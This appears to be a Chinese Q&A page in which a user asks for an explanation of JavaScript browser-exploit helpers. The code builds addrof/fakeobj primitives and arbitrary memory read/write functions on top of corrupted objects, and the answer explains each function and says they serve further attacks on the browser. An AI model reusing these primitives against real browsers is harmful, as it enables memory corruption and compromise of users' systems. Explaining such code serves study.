function i48_put(x, a) { a[4] = x | 0; a[5] = (x / 4294967296) | 0; } function i48_get(a) { return a[4] + a[5] * 4294967296; } window.addrof = function (x) { obj_slave.obj = x; return i48_get(obj_master); } window.fakeobj = function (x) { i48_put(x, obj_master); return obj_slave.obj; } function read_mem_setup(p, sz) { i48_put(p, arw_master); arw_master[6] = sz; } window.read_mem = function (p, sz) { read_mem_setup(p, sz); var arr = []; for (var i = 0; i < sz; i++) arr.push(arw_slave[i]); return arr; }; window.write_mem = function (p, data) { read_mem_setup(p, data.length); for (var i = 0; i < data.length; i++) arw_slave[i] = data[i]; }; window.read_ptr_at = function (p) { var ans = 0; var d = read_mem(p, 8); for (var i = 7; i >= 0; i--) ans = 256 * ans + d[i]; return ans; }; window.write_ptr_at = function (p, d) { var arr = []; for (var i = 0; i < 8; i++) { arr.push(d & 0xff); d /= 256; } write_mem(p, arr); };请简要解释以上函数功能
时间: 2024-02-14 16:31:07 浏览: 59
这些函数的功能如下:
1. `i48_put(x a)`: 将一个64位整数`x`存储在长度为6的数组`a`中,将低32位存储在`a[4]`中,将高32位存储在`a[5]`中。
2. `i48_get(a)`: 从长度为6的数组`a`中提取出一个64位整数,将低32位从`a[4]`中获取,将高32位从`a[5]`中获取,并将它们组合成一个64位整数返回。
3. `window.addrof(x)`: 通过将一个对象`x`赋值给`obj_slave.obj`,然后使用`i48_get`函数从`obj_master`数组中获取地址,以实现对对象的addrof操作。
4. `window.fakeobj(x)`: 通过使用`i48_put`函数将一个地址`x`存储在`obj_master`数组中,并将其作为一个对象返回,以实现对地址的fakeobj操作。
5. `read_mem_setup(p, sz)`: 将一个地址`p`存储在`arw_master`数组中,并将大小值存储在`arw_master[6]`中,用于后续的内存读取操作。
6. `window.read_mem(p, sz)`: 使用之前设置好的内存地址和大小,在循环内部读取一系列字节并存储在数组`arr`中,并返回该数组,以实现对内存的读取操作。
7. `window.write_mem(p, data)`: 使用之前设置好的内存地址和数据大小,在循环内部将数据数组`data`的内容写入到内存中,以实现对内存的写入操作。
8. `window.read_ptr_at(p)`: 从地址`p`开始读取8个字节,并将其作为一个64位整数返回,以实现读取指针的功能。
9. `window.write_ptr_at(p, d)`: 将一个64位整数`d`写入到地址`p`开始的8个字节中,以实现写入指针的功能。
这些函数提供了对内存和指针进行读写操作的功能,用于实现对浏览器进行更高级的攻击。
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